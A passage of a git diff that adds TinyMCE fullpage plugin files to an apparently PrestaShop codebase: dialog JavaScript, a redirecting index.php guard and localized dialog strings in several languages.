setVal('bottommargin', ''); + setVal('leftmargin', ''); + + // Expand margin + if (val = styles['margin']) { + val = val.split(' '); + styles['margin-top'] = val[0] || ''; + styles['margin-right'] = val[1] || val[0] || ''; + styles['margin-bottom'] = val[2] || val[0] || ''; + styles['margin-left'] = val[3] || val[0] || ''; + } + + if (val = styles['margin-top']) + setVal('topmargin', val.replace(/px/, '')); + + if (val = styles['margin-right']) + setVal('rightmargin', val.replace(/px/, '')); + + if (val = styles['margin-bottom']) + setVal('bottommargin', val.replace(/px/, '')); + + if (val = styles['margin-left']) + setVal('leftmargin', val.replace(/px/, '')); + + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('textcolor_pick', 'textcolor'); + }, + + changedStyleProp : function() { + var val, dom = tinyMCEPopup.editor.dom, styles = dom.parseStyle(getVal('style')); + + styles['font-face'] = getVal('fontface'); + styles['font-size'] = getVal('fontsize'); + styles['color'] = getVal('textcolor'); + styles['background-color'] = getVal('bgcolor'); + + if (val = getVal('bgimage')) + styles['background-image'] = "url('" + val + "')"; + else + styles['background-image'] = ''; + + delete styles['margin']; + + if (val = getVal('topmargin')) + styles['margin-top'] = val + "px"; + else + styles['margin-top'] = ''; + + if (val = getVal('rightmargin')) + styles['margin-right'] = val + "px"; + else + styles['margin-right'] = ''; + + if (val = getVal('bottommargin')) + styles['margin-bottom'] = val + "px"; + else + styles['margin-bottom'] = ''; + + if (val = getVal('leftmargin')) + styles['margin-left'] = val + "px"; + else + styles['margin-left'] = ''; + + // Serialize, parse and reserialize this will compress redundant styles + setVal('style', dom.serializeStyle(dom.parseStyle(dom.serializeStyle(styles)))); + this.changedStyle(); + }, + + update : function() { + var data = {}; + + tinymce.each(tinyMCEPopup.dom.select('select,input,textarea'), function(node) { + data[node.id] = getVal(node.id); + }); + + tinyMCEPopup.editor.plugins.fullpage._dataToHtml(data); + tinyMCEPopup.close(); + } + }; + + function init() { + var form = document.forms[0], i, item, list, editor = tinyMCEPopup.editor; + + // Setup doctype select box + list = editor.getParam("fullpage_doctypes", defaultDocTypes).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'doctype', item[0], item[1]); + } + + // Setup fonts select box + list = editor.getParam("fullpage_fonts", defaultFontNames).split(';'); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'fontface', item[0], item[1]); + } + + // Setup fontsize select box + list = editor.getParam("fullpage_fontsizes", defaultFontSizes).split(','); + for (i = 0; i < list.length; i++) + addSelectValue(form, 'fontsize', list[i], list[i]); + + // Setup encodings select box + list = editor.getParam("fullpage_encodings", defaultEncodings).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'docencoding', item[0], item[1]); + } + + // Setup color pickers + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + document.getElementById('link_color_pickcontainer').innerHTML = getColorPickerHTML('link_color_pick','link_color'); + document.getElementById('visited_color_pickcontainer').innerHTML = getColorPickerHTML('visited_color_pick','visited_color'); + document.getElementById('active_color_pickcontainer').innerHTML = getColorPickerHTML('active_color_pick','active_color'); + document.getElementById('textcolor_pickcontainer').innerHTML = getColorPickerHTML('textcolor_pick','textcolor'); + document.getElementById('stylesheet_browsercontainer').innerHTML = getBrowserHTML('stylesheetbrowser','stylesheet','file','fullpage'); + document.getElementById('bgimage_pickcontainer').innerHTML = getBrowserHTML('bgimage_browser','bgimage','image','fullpage'); + + // Resize some elements + if (isVisible('stylesheetbrowser')) + document.getElementById('stylesheet').style.width = '220px'; + + if (isVisible('link_href_browser')) + document.getElementById('element_link_href').style.width = '230px'; + + if (isVisible('bgimage_browser')) + document.getElementById('bgimage').style.width = '210px'; + + // Update form + tinymce.each(tinyMCEPopup.getWindowArg('data'), function(value, key) { + setVal(key, value); + }); + + FullPageDialog.changedStyle(); + + // Update colors + updateColor('textcolor_pick', 'textcolor'); + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('visited_color_pick', 'visited_color'); + updateColor('active_color_pick', 'active_color'); + updateColor('link_color_pick', 'link_color'); + }; + + tinyMCEPopup.onInit.add(init); +})(); diff --git a/js/tiny_mce/plugins/fullpage/js/index.php b/js/tiny_mce/plugins/fullpage/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/fullpage/langs/ar_dlg.js b/js/tiny_mce/plugins/fullpage/langs/ar_dlg.js new file mode 100755 index 0000000..634642b --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.fullpage_dlg',{title:"Document properties","meta_tab":"\u0639\u0627\u0645","appearance_tab":"Appearance","advanced_tab":"Advanced","meta_props":"Meta information",langprops:"Language and encoding","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Language code",langdir:"Language direction",ltr:"Left to right",rtl:"Right to left","xml_pi":"XML declaration",encoding:"Character encoding","appearance_bgprops":"Background properties","appearance_marginprops":"Body margins","appearance_linkprops":"Link colors","appearance_textprops":"Text properties",bgcolor:"Background color",bgimage:"Background image","left_margin":"Left margin","right_margin":"Right margin","top_margin":"Top margin","bottom_margin":"Bottom margin","text_color":"Text color","font_size":"Font size","font_face":"Font face","link_color":"Link color","hover_color":"Hover color","visited_color":"Visited color","active_color":"Active color",textcolor:"Color",fontsize:"Font size",fontface:"Font family","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don\\\'t follow the links","appearance_style":"Stylesheet and style properties",stylesheet:"Stylesheet",style:"Style",author:"Author",copyright:"Copyright",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u0639\u0627\u0645","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/az_dlg.js b/js/tiny_mce/plugins/fullpage/langs/az_dlg.js new file mode 100755 index 0000000..2d09ff3 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.fullpage_dlg',{title:"S\u0259n\u0259d x\u00fcsusiyy\u0259tl\u0259ri","meta_tab":"\u00dcmumi","appearance_tab":"G\u00f6r\u00fcn\u00fc\u015f","advanced_tab":"\u018flav\u0259l\u0259r","meta_props":"Meta m\u0259lumat",langprops:"Dil v\u0259 kodla\u015fd\u0131rma","meta_title":"Ba\u015fl\u0131q","meta_keywords":"A\u00e7ar s\u00f6zl\u0259ri","meta_description":"T\u0259svir","meta_robots":"Robotlar",doctypes:"S\u0259n\u0259d n\u00f6v\u00fc",langcode:"Dil kodu",langdir:"Dil istiqam\u0259ti",ltr:"Soldan sa\u011fa",rtl:"Sa\u011fdan sola","xml_pi":"XML t\u0259rifi",encoding:"\u0130\u015far\u0259 kodla\u015fd\u0131rmas\u0131","appearance_bgprops":"Arxa plan x\u00fcsusiyy\u0259tl\u0259ri","appearance_marginprops":"G\u00f6vd\u0259 k\u0259narlar\u0131","appearance_linkprops":"Ke\u00e7id r\u0259ngl\u0259ri","appearance_textprops":"M\u0259tn x\u00fcsusiyy\u0259tl\u0259ri",bgcolor:"Arxa plan r\u0259ngi",bgimage:"Arxa plan \u015f\u0259kli","left_margin":"Sol bo\u015fluq","right_margin":"Sa\u011f bo\u015fluq","top_margin":"\u00dcst bo\u015fluq","bottom_margin":"Alt bo\u015fluq","text_color":"M\u0259tn r\u0259ngi","font_size":"\u015erift \u00f6l\u00e7\u00fcs\u00fc","font_face":"\u015erift n\u00f6v\u00fc","link_color":"Ke\u00e7id r\u0259ngi","hover_color":"\u00dcz\u0259rind\u0259ki r\u0259ng","visited_color":"Bax\u0131lm\u0131\u015f r\u0259ng","active_color":"Aktiv r\u0259ng",textcolor:"R\u0259ng",fontsize:"\u015erift \u00f6l\u00e7\u00fcs\u00fc",fontface:"\u015erift ail\u0259si","meta_index_follow":"\u0130ndeks et v\u0259 ke\u00e7idi izl\u0259","meta_index_nofollow":"\u0130ndeks et lakin ke\u00e7idi izl\u0259m\u0259","meta_noindex_follow":"\u0130ndeks etm\u0259 lakin ke\u00e7idi izl\u0259","meta_noindex_nofollow":"\u0130ndeks etm\u0259 v\u0259 ke\u00e7idl\u0259ri izl\u0259m\u0259","appearance_style":"Stil v\u0259r\u0259qi v\u0259 x\u00fcsusiyy\u0259tl\u0259ri",stylesheet:"Stil v\u0259r\u0259qi",style:"Stil",author:"M\u00fc\u0259llif",copyright:"M\u00fc\u0259llif h\u00fcququ",add:"Yeni element \u0259lav\u0259 et",remove:"Se\u00e7ilmi\u015f elementi sil",moveup:"Se\u00e7il\u0259n elementi yuxar\u0131 \u00e7\u0259k",movedown:"Se\u00e7il\u0259n elementi a\u015fa\u011f\u0131 \u00e7\u0259k","head_elements":"Ba\u015f elementl\u0259r",info:"M\u0259lumat","add_title":"Ba\u015fl\u0131q elementi","add_meta":"Meta elementi","add_script":"Skript elementi","add_style":"Stil elementi","add_link":"Ke\u00e7id elementi","add_base":"Baza elementi","add_comment":"\u015e\u0259rh d\u00fcy\u00fcn\u00fc","title_element":"Ba\u015fl\u0131q elementi","script_element":"Skript elementi","style_element":"Stil elementi","base_element":"Baza elementi","link_element":"Ke\u00e7id elementi","meta_element":"Meta elementi","comment_element":"\u015e\u0259rh",src:"Src",language:"Dil",href:"Href",target:"H\u0259d\u0259f",type:"N\u00f6v",charset:"\u00c7arset",defer:"T\u0259xir\u0259 sal",media:"Media",properties:"X\u00fcsusiyy\u0259tl\u0259r",name:"Ad\u0131",value:"D\u0259y\u0259r",content:"M\u0259zmun",rel:"Rel",rev:"Rev",hreflang:"Href dili","general_props":"\u00dcmumi","advanced_props":"\u018flav\u0259l\u0259r"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/bg_dlg.js b/js/tiny_mce/plugins/fullpage/langs/bg_dlg.js new file mode 100755 index 0000000..2076714 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.fullpage_dlg',{title:"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","meta_tab":"\u041e\u0431\u0449\u0438","appearance_tab":"\u0412\u044a\u043d\u0448\u0435\u043d \u0432\u0438\u0434","advanced_tab":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","meta_props":"Meta \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f",langprops:"\u0415\u0437\u0438\u043a \u0438 \u043a\u043e\u0434\u0438\u0440\u0430\u043d\u0435","meta_title":"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435","meta_keywords":"\u041a\u043b\u044e\u0447\u043e\u0432\u0438 \u0434\u0443\u043c\u0438","meta_description":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","meta_robots":"\u0420\u043e\u0431\u043e\u0442\u0438",doctypes:"\u0422\u0438\u043f",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e","xml_pi":"XML \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438",encoding:"\u041a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0442\u0435","appearance_bgprops":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0444\u043e\u043d\u0430","appearance_marginprops":"Body margins","appearance_linkprops":"\u0426\u0432\u0435\u0442\u043e\u0432\u0435 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","appearance_textprops":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430",bgcolor:"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0434\u043e\u043d\u0430",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","left_margin":"\u041b\u044f\u0432 margin","right_margin":"\u0414\u0435\u0430\u0441\u0435\u043d margin","top_margin":"\u0413\u043e\u0440\u0435\u043d margin","bottom_margin":"\u0414\u043e\u043b\u0435\u043d margin","text_color":"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430","font_face":"\u0428\u0440\u0438\u0444\u0442","link_color":"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430","hover_color":"\u0426\u0432\u044f\u0442 \u043f\u0440\u0438 hover","visited_color":"\u0426\u0432\u044f\u0442 \u0437\u0430 \u043f\u043e\u0441\u0435\u0442\u0435\u043d\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438","active_color":"\u0410\u043a\u0442\u0438\u0432\u0435\u043d \u0446\u0432\u044f\u0442",textcolor:"\u0426\u0432\u044f\u0442",fontsize:"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430",fontface:"\u0428\u0440\u0438\u0444\u0442","meta_index_follow":"\u0418\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u0438 \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","meta_index_nofollow":"\u0418\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","meta_noindex_follow":"\u041d\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u043d\u043e \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","meta_noindex_nofollow":"\u041d\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","appearance_style":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 Stylesheet \u0438 \u0441\u0442\u0438\u043b\u0430",stylesheet:"Stylesheet",style:"\u0421\u0442\u0438\u043b",author:"\u0410\u0432\u0442\u043e\u0440",copyright:"Copyright",add:"\u0414\u043e\u0431\u0430\u0432\u0438 \u043d\u043e\u0432 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",remove:"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",moveup:"\u041f\u0440\u0438\u0434\u0432\u0438\u0436\u0438 \u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0430\u0433\u043e\u0440\u0435",movedown:"\u041f\u0440\u0438\u0434\u0432\u0438\u0436\u0438 \u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0430\u0434\u043e\u043b\u0443","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u041e\u0431\u0449\u0438","advanced_props":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/ca_dlg.js b/js/tiny_mce/plugins/fullpage/langs/ca_dlg.js new file mode 100755 index 0000000..a8f72d0 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.fullpage_dlg',{title:"Propietats del document","meta_tab":"General","appearance_tab":"Aparen\u00e7a","advanced_tab":"Avan\u00e7at","meta_props":"Metainformaci\u00f3",langprops:"Idioma i codificaci\u00f3","meta_title":"T\u00edtol","meta_keywords":"Paraules clau","meta_description":"Descripci\u00f3","meta_robots":"Robots",doctypes:"Doctype",langcode:"Codi d\'idioma",langdir:"Direcci\u00f3 de l\'idioma",ltr:"D\'esquerra a dreta",rtl:"De dreta a esquerra","xml_pi":"Declaraci\u00f3 XML",encoding:"Codificaci\u00f3 dels car\u00e0cters","appearance_bgprops":"Propietats del fons","appearance_marginprops":"Marges del cos","appearance_linkprops":"Colors d\'enlla\u00e7","appearance_textprops":"Propietats del text",bgcolor:"Color del fons",bgimage:"Imatge del fons","left_margin":"Marge esquerre","right_margin":"Marge dret","top_margin":"Marge superior","bottom_margin":"Marge inferior","text_color":"Color del text","font_size":"Mida de la font","font_face":"Font","link_color":"Color d\'enlla\u00e7","hover_color":"Color quan es passi per sobre","visited_color":"Color quan ja \u00e9s visitat","active_color":"Color quan \u00e9s actiu",textcolor:"Color",fontsize:"Mida de la font",fontface:"Fam\u00edlia de la font","meta_index_follow":"Indexa i segueix els enlla\u00e7os","meta_index_nofollow":"Indexa i no segueixis els enlla\u00e7os","meta_noindex_follow":"No indexis per\u00f2 segueix els enlla\u00e7os","meta_noindex_nofollow":"No indexis i no segueixis els enlla\u00e7os","appearance_style":"Full d\'estils i propietats dels estils",stylesheet:"Full d\'estils",style:"Estil",author:"Autor",copyright:"Copyright",add:"Afegeix un nou element",remove:"Elimina l\'element seleccionat",moveup:"Mou amunt l\'element seleccionat",movedown:"Mou avall l\'element seleccionat","head_elements":"Elements d\'encap\u00e7alament",info:"Informaci\u00f3","add_title":"Element t\u00edtol","add_meta":"Element meta","add_script":"Element script","add_style":"Element estil","add_link":"Element enlla\u00e7","add_base":"Element base","add_comment":"Node comentari","title_element":"Element t\u00edtol","script_element":"Element script","style_element":"Element estil","base_element":"Element base","link_element":"Element enlla\u00e7","meta_element":"Element meta","comment_element":"Comentari",src:"Src",language:"Idioma",href:"Href",target:"Dest\u00ed",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Propietats",name:"Nom",value:"Valor",content:"Contingut",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Avan\u00e7at"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/cs_dlg.js b/js/tiny_mce/plugins/fullpage/langs/cs_dlg.js new file mode 100755 index 0000000..7b9d580 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.fullpage_dlg',{title:"Vlastnosti dokumentu","meta_tab":"Obecn\u00e9","appearance_tab":"Vzhled","advanced_tab":"Roz\u0161\u00ed\u0159en\u00e9","meta_props":"Meta informace",langprops:"Jazyk a k\u00f3dov\u00e1n\u00ed","meta_title":"Titulek","meta_keywords":"Kl\u00ed\u010dov\u00e1 slova","meta_description":"Popis","meta_robots":"Roboti",doctypes:"Typ dokumentu",langcode:"K\u00f3d jazyka",langdir:"Sm\u011br textu",ltr:"Zleva doprava",rtl:"Zprava doleva","xml_pi":"XML deklarace",encoding:"K\u00f3dov\u00e1n\u00ed","appearance_bgprops":"Vlastnosti pozad\u00ed","appearance_marginprops":"Okraje t\u011bla dokumentu","appearance_linkprops":"Vlastnosti odkaz\u016f","appearance_textprops":"Vlastnosti textu",bgcolor:"Barva pozad\u00ed",bgimage:"Obr\u00e1zek pozad\u00ed","left_margin":"Lev\u00fd okraj","right_margin":"Prav\u00fd okraj","top_margin":"Horn\u00ed okraj","bottom_margin":"Spodn\u00ed okraj","text_color":"Barva textu","font_size":"Velikost p\u00edsma","font_face":"Typ p\u00edsma","link_color":"Barva odkazu","hover_color":"Barva zvolen\u00e9ho odkazu","visited_color":"Barva nav\u0161t\u00edven\u00e9ho odkazu","active_color":"Barva aktivn\u00edho odkazu",textcolor:"Barva",fontsize:"Velikost p\u00edsma",fontface:"Typ p\u00edsma","meta_index_follow":"Indexovat a sledovat odkazy","meta_index_nofollow":"Indexovat a nesledovat odkazy","meta_noindex_follow":"Neindexovat, ale sledovat odkazy","meta_noindex_nofollow":"Neindexovat a nesledovat odkazy","appearance_style":"Vlastnosti styl\u016f",stylesheet:"Stylopis",style:"Styl",author:"Autor",copyright:"Autorsk\u00e1 pr\u00e1va",add:"P\u0159idat nov\u00fd element",remove:"Odebrat ozna\u010den\u00fd element",moveup:"P\u0159esu\u0148 ozna\u010den\u00fd element v\u00fd\u0161",movedown:"P\u0159esu\u0148 ozna\u010den\u00fd element n\u00ed\u017e","head_elements":"Hlavi\u010dky",info:"Informace","add_title":"Vlo\u017eit titulek","add_meta":"Vlo\u017eit meta informace","add_script":"Vlo\u017eit skript","add_style":"Vlo\u017eit styl","add_link":"Vlo\u017eit nezobrazovan\u00fd odkaz","add_base":"Vlo\u017eit z\u00e1kladn\u00ed um\u00edst\u011bn\u00ed","add_comment":"Vlo\u017eit koment\u00e1\u0159","title_element":"Titulek","script_element":"Skript","style_element":"Styl","base_element":"Z\u00e1kladn\u00ed um\u00edst\u011bn\u00ed","link_element":"Nezobrazovan\u00fd odkaz","meta_element":"Meta informace","comment_element":"Koment\u00e1\u0159",src:"Zdroj",language:"Jazyk",href:"Soubor/URL",target:"C\u00edl",type:"Typ",charset:"Znakov\u00e1 sada",defer:"Odlo\u017eit (defer)",media:"M\u00e9dia",properties:"Vlastnosti",name:"N\u00e1zev",value:"Hodnota",content:"Obsah",rel:"Vztah str\u00e1nky k c\u00edli",rev:"Vztah c\u00edle ke str\u00e1nce",hreflang:"Jazyk odkazu","general_props":"Obecn\u00e9 parametry","advanced_props":"Roz\u0161\u00ed\u0159en\u00e9 parametry"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/da_dlg.js b/js/tiny_mce/plugins/fullpage/langs/da_dlg.js new file mode 100755 index 0000000..79fd658 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.fullpage_dlg',{title:"Dokumentegenskaber","meta_tab":"Generelt","appearance_tab":"Udseende","advanced_tab":"Advanceret","meta_props":"Meta-information",langprops:"Sprog og kodning","meta_title":"Titel","meta_keywords":"N\u00f8gleord","meta_description":"Beskrivelse","meta_robots":"Robots",doctypes:"Doctype",langcode:"Sprogkode",langdir:"Sprogretning",ltr:"Venstre mod h\u00f8jre",rtl:"H\u00f8jre md venstre","xml_pi":"XML declaration",encoding:"Tegns\u00e6t","appearance_bgprops":"Baggrundsegenskaber","appearance_marginprops":"Body margins","appearance_linkprops":"Link farver","appearance_textprops":"Tekstegenskaber",bgcolor:"Baggrundsfarve",bgimage:"Baggrundsbillede","left_margin":"Venstre margin","right_margin":"H\u00f8jre margin","top_margin":"Topmargin","bottom_margin":"Bundmargin","text_color":"Tekstfarve","font_size":"Skriftst\u00f8rrelse","font_face":"Skrifttype","link_color":"Linkfarve","hover_color":"Farve ved aktivering","visited_color":"Farve efter museklik","active_color":"Farve ved museklik",textcolor:"Farve",fontsize:"Skriftst\u00f8rrelse",fontface:"Skrifttype","meta_index_follow":"Indeks og f\u00f8lg links","meta_index_nofollow":"Indeks og f\u00f8lg ikke links","meta_noindex_follow":"Ingen indeks, men f\u00f8lg links","meta_noindex_nofollow":"Ingen indeks og f\u00f8lg ikke links","appearance_style":"Stylesheet og style-egenskaber",stylesheet:"Stylesheet",style:"Style",author:"Forfatter",copyright:"Copyright",add:"Tilf\u00f8j nyt element",remove:"Slet valgte element",moveup:"Flyt valgte element op",movedown:"Flyt valgte element ned","head_elements":"Hovedelement",info:"Information","add_title":"Titelelement","add_meta":"Meta-element","add_script":"Script-element","add_style":"Style-element","add_link":"Link-element","add_base":"Base-element","add_comment":"Kommentar-node","title_element":"Titelelement","script_element":"Script-element","style_element":"Style-element","base_element":"Base-element","link_element":"Link-element","meta_element":"Meta-element","comment_element":"Kommentar",src:"Src",language:"Sprog",href:"Href",target:"Destination",type:"Type",charset:"Tegns\u00e6t",defer:"Defer",media:"Media",properties:"Egenskaber",name:"Navn",value:"V\u00e6rdi",content:"Indhold",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Generelt","advanced_props":"Advanceret"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/de_dlg.js b/js/tiny_mce/plugins/fullpage/langs/de_dlg.js new file mode 100755 index 0000000..ecdff9e --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.fullpage_dlg',{title:"Dokument-Eigenschaften","meta_tab":"Allgemein","appearance_tab":"Aussehen","advanced_tab":"Erweitert","meta_props":"Meta-Information",langprops:"Sprache und Codierung","meta_title":"Titel","meta_keywords":"Keywords","meta_description":"Beschreibung","meta_robots":"Robots",doctypes:"DocType",langcode:"Sprachcode",langdir:"Sprachrichtung",ltr:"Links nach Rechts",rtl:"Rechts nach Links","xml_pi":"XML Deklaration",encoding:"Zeichencodierung","appearance_bgprops":"Hintergrund-Eigenschaften","appearance_marginprops":"Abst\u00e4nde des Body","appearance_linkprops":"Linkfarben","appearance_textprops":"Text-Eigenschaften",bgcolor:"Hintergrundfarbe",bgimage:"Hintergrundbild","left_margin":"Linker Abstand","right_margin":"Rechter Abstand","top_margin":"Oberer Abstand","bottom_margin":"Unterer Abstand","text_color":"Textfarbe","font_size":"Schriftgr\u00f6\u00dfe","font_face":"Schriftart","link_color":"Linkfarbe","hover_color":"Hover-Farbe","visited_color":"Visited-Farbe","active_color":"Active-Farbe",textcolor:"Farbe",fontsize:"Schriftgr\u00f6\u00dfe",fontface:"Schriftart","meta_index_follow":"Indizieren und den Links folgen","meta_index_nofollow":"Indizieren, aber den Links nicht folgen","meta_noindex_follow":"Nicht indizieren, aber den Links folgen","meta_noindex_nofollow":"Nicht indizieren und auch nicht den Links folgen","appearance_style":"CSS-Stylesheet und Stileigenschaften",stylesheet:"CSS-Stylesheet",style:"CSS-Stil",author:"Autor",copyright:"Copyright",add:"Neues Element hinzuf\u00fcgen",remove:"Ausgew\u00e4hltes Element entfernen",moveup:"Ausgew\u00e4hltes Element nach oben bewegen",movedown:"Ausgew\u00e4hltes Element nach unten bewegen","head_elements":"\u00dcberschriftenelemente",info:"Information","add_title":"Titel-Element","add_meta":"Meta-Element","add_script":"Script-Element","add_style":"Style-Element","add_link":"Link-Element","add_base":"Base-Element","add_comment":"HTML-Kommentar","title_element":"Titel-Element","script_element":"Script-Element","style_element":"Style-Element","base_element":"Base-Element","link_element":"Link-Element","meta_element":"Meta_Element","comment_element":"Kommentar",src:"Src",language:"Sprache",href:"Href",target:"Ziel",type:"Typ",charset:"Zeichensatz",defer:"Defer",media:"Media",properties:"Eigenschaften",name:"Name",value:"Wert",content:"Inhalt",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Allgemein","advanced_props":"Erweitert"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/el_dlg.js b/js/tiny_mce/plugins/fullpage/langs/el_dlg.js new file mode 100755 index 0000000..457946d --- /dev/null +++ 